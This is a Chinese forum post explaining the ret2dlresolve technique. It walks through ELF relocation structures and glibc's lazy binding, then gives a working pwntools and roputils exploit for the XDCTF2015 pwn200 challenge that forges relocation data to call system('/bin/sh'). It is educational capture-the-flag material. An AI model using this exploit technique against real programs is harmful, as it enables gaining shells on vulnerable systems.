查看: 694|回复: 0

[经验] 详细解析retdlresolve技术

[复制链接]
  • TA的每日心情
    开心
    2019-11-4 13:48
  • 签到天数: 14 天

    连续签到: 1 天

    [LV.3]偶尔看看II

    发表于 2020-2-11 10:05:12 | 显示全部楼层 |阅读模式
    分享到:
    基础知识
    本文涉及到的ELF节以及相关结构如下:
    (1).rel.plt节是用于函数重定位,.rel.dyn节是用于变量重定位。.rel.plt节相关的Elf32_Rel结构如下:
    typedef struct {
    Elf32_Addr r_offset; // 对于可执行文件,此值为虚拟地址
    Elf32_Word r_info; // 符号表索引
    } Elf32_Rel;
    #define ELF32_R_SYM(info) ((info)>>8)
    #define ELF32_R_TYPE(info) ((unsigned char)(info))
    #define ELF32_R_INFO(sym, type) (((sym)<<8)+(unsigned char)(type))
    以write函数为例,write函数的r_offset=0x0804a01c,r_info=0x607
    .got节保存全局变量偏移表,.got.plt节保存全局函数偏移表(即GOT表)。其中.got.plt对应着Elf32_Rel结构中r_offset的值。
    可以通过上图命令获得.rel.plt的地址,rel.plt节保存着函数对应.got.plt地址和r_info信息
    (2).dynsym节包含了动态链接符号表。Elf32_Sym[num]中的num对应着ELF32_R_SYM(Elf32_Rel->r_info)。根据定义:
    ELF32_R_SYM(Elf32_Rel->r_info) = (Elf32_Rel->r_info) >> 8
    所以,write的索引值为ELF32_R_SYM(0x607) = 0x607 >> 8 = 6。即Elf32_Sym[6]保存着write的符号表信息。并且ELF32_R_TYPE(0x607) = 7,对应R_386_JUMP_SLOT,write的索引值为6如下图所示:
    .dynsym节相关的Elf32_Sym结构如下:
    typedef struct
    {
    Elf32_Word st_name; // Symbol name(string tbl index)
    Elf32_Addr st_value; // Symbol value
    Elf32_Word st_size; // Symbol size
    unsigned char st_info; // Symbol type and binding
    unsigned char st_other; // Symbol visibility under glibc>=2.2
    Elf32_Section st_shndx; // Section index
    } Elf32_Sym;
    根据所以根据索引6可以找到,Elf32_Sym结构中st_name值:
    Elf32_Sym[6]->st_name=0x4c(.dynsym + Elf32_Sym_size * num)
    (3).dynstr节包含了动态链接的字符串。这个节以x00作为开始和结尾,中间每个字符串也以x00间隔。
    最终要找到write函数的符号,要先在.dynsym中找到偏移,.dynstr加上0x4c的偏移量,就是字符串write
    题目分析
    漏洞程序demo代码:
    #include <unistd.h>
    #include <stdio.h>
    #include <string.h>
    void vuln
    {
    char buf[100];
    setbuf(stdin, buf);
    read(0, buf, 256);
    }
    int main
    {
    char buf[100] = "Welcome to XDCTF2015~!n";
    setbuf(stdout, buf);
    write(1, buf, strlen(buf));
    vuln;
    return 0;
    }
    也是一个简单的栈溢出,保护只开了NX,栈不可执行,所以需要通过rop来get shell。
    该漏洞利用涉及到延迟绑定的技术,基础知识如下:
    GOT表属于数据段, 是可写的. 表中存储的是指针. PLT属于代码段, 其中每一项都存储了三个汇编指令.
    GOT[0]:存放了指向可执行文件动态段的地址
    GOT[1]:存放link_map结构的地址
    GOT[2]:存放了指向动态链接器_dl_runtime_resolve函数的地址
    GOT表的布局大致如下:
    延迟绑定的过程如下:
    (1)执行put@plt,此时puts函数的GOT表填充的只是下一条指令地址,push reloc_arg=0x0
    (2)执行puts@plt+11指令,跳转到PLT[0],push GOT[1]的内容,并跳转到GOT[2]上去执行
    随后调用_dl_runtime_resolve(link_map, reloc_arg),_dl_runtime_resolve函数中会调用_dl_fixup来完成解析:
    glibc-2.23/elf/dl-runtime.c:_dl_fixup
    _dl_fixup(struct link_map *l, ElfW(Word) reloc_arg)
    {
    // 首先通过参数reloc_arg计算重定位入口,这里的JMPREL即.rel.plt,reloc_offset即reloc_arg
    const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
    // 然后通过reloc->r_info找到.dynsym中对应的条目
    const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
    // 这里还会检查reloc->r_info的最低位是不是R_386_JUMP_SLOT=7
    assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);
    // 接着通过strtab+sym->st_name找到符号表字符串,result为libc基地址
    result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope, version, ELF_RTYPE_CLASS_PLT, flags, NULL);
    // value为libc基址加上要解析函数的偏移地址,也即实际地址
    value = DL_FIXUP_MAKE_VALUE (result, sym ? (LOOKUP_VALUE_ADDRESS (result) + sym->st_value) : 0);
    // 最后把value写入相应的GOT表条目中
    return elf_machine_fixup_plt (l, result, reloc, rel_addr, value);
    }
    过程大致如下:
    retdlresolve的利用过程,主要就是控制上图中的resolver
    (1)控制上图中的resolver,即reloc_arg
    (2)根据reloc_arg,会将.rel.plt基址+reloc_arg获得函数的.got.plt地址(r_offset)和r_info信息(涉及 Elf32_Rel结构)
    (3)根据r_info,将.dynsym基址 + ((r_info)>>8)*0x10获得Elf32_Sym[(r_info)>>8]->st_name信息(涉及Elf32_Sym结构,结构大小为0x10)
    (4)根据st_name,将.dynstr基址+st_name得到函数的符号
    (5)最后通过查找符号得到函数实际运行地址,填入(2)中GOT表地址中。
    所以就需要伪造(2)、(3)、(4)中的reloc_arg,r_info,st_name这些偏移,使其查找过程都落在可控的区域中(如.bss中)。最终将函数符号伪造成“system”。
    网上基本都是通过roputils工具直接做题,下面就分析一下工具产生的rop链的执行过程:
    使用roputils工具产生的rop链如下:
    rop = 'A'*offset
    read@plt
    pop esi; pop edi; pop ebp; ret;
    0
    .bss
    0x64
    PLT[0] addr
    (1)首先在.bss段开辟一个栈空间,起始地址为:.bss=0x0804a040(fake_stack)
    (2)在返回地址填上read@plt地址,往0x0804a840地址写入构造的数据
    (3)fake_stack上要构造的有两处:一个是fake_reloc,放在fake_stack+0x18处,第二个是.dynsym信息,存放在fake_stack+0x28处
    .bss=0x0804a040 (fake_stack)
    dynsym = 0x080481d8
    传入的fake_stack的数据如下:
    偏移:内容
    0x00:"/bin/shx00"
    0x08:"AAAAAAAA"
    0x10:"AAAAAAAA"
    0x18:0x0804a054 // 本来应该是.got.plt的一个地址,这里填入fake_stack 的其中一个地址,完成_dl_fixup会将system地址填入其中
    0x1c:p32(r_info) // 0x0804a040+0x28-0x080481d8 = 0x1e90 r_info=(((0x1f90)/0x10)<<8)|7=0x1f907 用于查找函数的符号、
    0x20:"AAAAAAAA"
    0x38:"system"
    计算过程如下:
    exp代码如下:
    from pwn import *
    context.log_level = 'debug' #不开debug会显示报错
    offset = 112
    read_plt = 0x080483a0 # read@plt
    bss_addr = 0x0804a040 # readelf -S bof | grep ".bss"
    r = process('./xdctf-pwn200')
    r.recvuntil('Welcome to XDCTF2015~!n')
    payload = 'A' * offset
    payload += p32(read_plt)
    payload += p32(ppp_ret)
    payload += p32(0)
    payload += p32(bss_addr)
    payload += p32(100)
    payload += p32(plt0_addr)
    payload += p32(0x1d28)
    payload += 'A'*0x4
    payload += p32(bss_addr) #需要填充/bin/sh的地址,不然system函数执行的参数是栈中其它数据。具体原因没有细调
    #gdb.attach(r)
    r.send(payload)
    #raw_input
    cmd = "/bin/shx00"
    payload2 = cmd
    payload2 += 'A'*0x10
    payload2 += p32(0x804a054)
    payload2 += p32(0x1e907)
    payload2 += 'A'*0x8
    payload2 += p32(0x1e00)+p32(0)+p32(0)+p32(0x12)
    payload2 += "systemx00"
    r.send(payload2)
    r.interactive
    使用工具的简单式操作:
    from roputils import *
    from pwn import process
    from pwn import gdb
    from pwn import context
    context.log_level = 'debug'
    binary = './xdctf-pwn200'
    r = process(binary)
    rop = ROP(binary)
    offset = 112
    bss_base = rop.section('.bss')
    buf = rop.fill(offset)
    buf += rop.call('read', 0, bss_base, 100)
    # after using read to construct our symtab in .bss + 20, we use dl_resolve to call it
    buf += rop.dl_resolve_call(bss_base + 20, bss_base)
    #gdb.attach(r)
    r.send(buf)
    #raw_input
    # over here we just fill in .bss with the data we need
    buf = rop.string('/bin/sh')
    buf += rop.fill(20, buf)
    buf += rop.dl_resolve_data(bss_base + 20, 'system')
    r.send(buf)
    r.interactive
    这里传入bss_base+20的地址,但实际写入的确实bss_base+0x18的位置,是因为有对齐字节的操作:
    def align(self, addr, origin, size):
    padlen = size - ((addr-origin) % size) // 这里对齐了,size=0x8
    return (addr+padlen, padlen)
    def plt(self, name=None):
    if name:
    return self.offset(self._plt[name])
    else:
    return self.offset(self._section['.plt'][0])
    def dl_resolve_call(self, base, *args):
    jmprel = self.dynamic('JMPREL')
    relent = self.dynamic('RELENT')
    addr_reloc, padlen_reloc = self.align(base, jmprel, relent)
    reloc_offset = addr_reloc - jmprel
    buf = self.p(self.plt) //在这里是plt表头的地址
    buf += self.p(reloc_offset) //REL.PLT表距bss段的偏移
    buf += self.p(self.gadget('pop', n=len(args))) //system 函数的返回地址
    buf += self.p(args) //'/bin/sh0' 的地址
    return buf
    看roputils源码可以看到这些函数也是经过了exp代码中的那些计算,使我们可以直接调用。

    回复

    使用道具 举报

    您需要登录后才可以回帖 注册/登录

    本版积分规则

    关闭

    站长推荐上一条 /1 下一条

    手机版|小黑屋|与非网

    GMT+8, 2024-4-24 14:49 , Processed in 0.113308 second(s), 15 queries , MemCache On.

    ICP经营许可证 苏B2-20140176  苏ICP备14012660号-2   苏州灵动帧格网络科技有限公司 版权所有.

    苏公网安备 32059002001037号

    Powered by Discuz! X3.4

    Copyright © 2001-2024, Tencent Cloud.